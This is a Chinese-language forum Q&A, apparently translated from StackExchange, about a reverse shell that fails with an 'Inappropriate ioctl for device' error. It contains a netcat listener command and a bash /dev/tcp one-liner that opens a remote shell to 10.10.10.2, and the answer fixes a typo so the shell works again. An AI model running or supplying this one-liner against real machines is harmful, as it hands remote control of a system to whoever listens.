netcat 错误:设备的 ioctl 不合适

netcat 错误:设备的 ioctl 不合适

我正在尝试使用 bash oneliner 和 netcat 监听器创建一个“反向 shell”。这种组合几天前工作得很好,但现在它只在连接时出现错误。有谁知道该错误意味着什么以及如何排除故障或修复它?

网络猫监听器

netcat -lvnp 1234

重击脚本:

bash -i >& /dev/tcp/10.10.10.2/1234 0>&1

错误(运行 bash 脚本时)

bash: cannot set terminal process group (21268): Inappropriate ioctl for device
bash: no job control in this shell
bash: 0: No such file or directory

不确定这是否是解决此问题的正确 stackexchange,请随意移动

答案1

在您的帖子中,您的 bash 脚本是这样的:

bash -i >& /dev/tcp/10.10.10.2/1234 0>&1

我想你的电脑上实际上是这样的:

bash -i >& /dev/tcp/10.10.10.2/1234 0 >&1

注意零后面的空格。找到它并将其删除,然后它应该可以再次工作。我无法说出它是如何到达那里的。

相关内容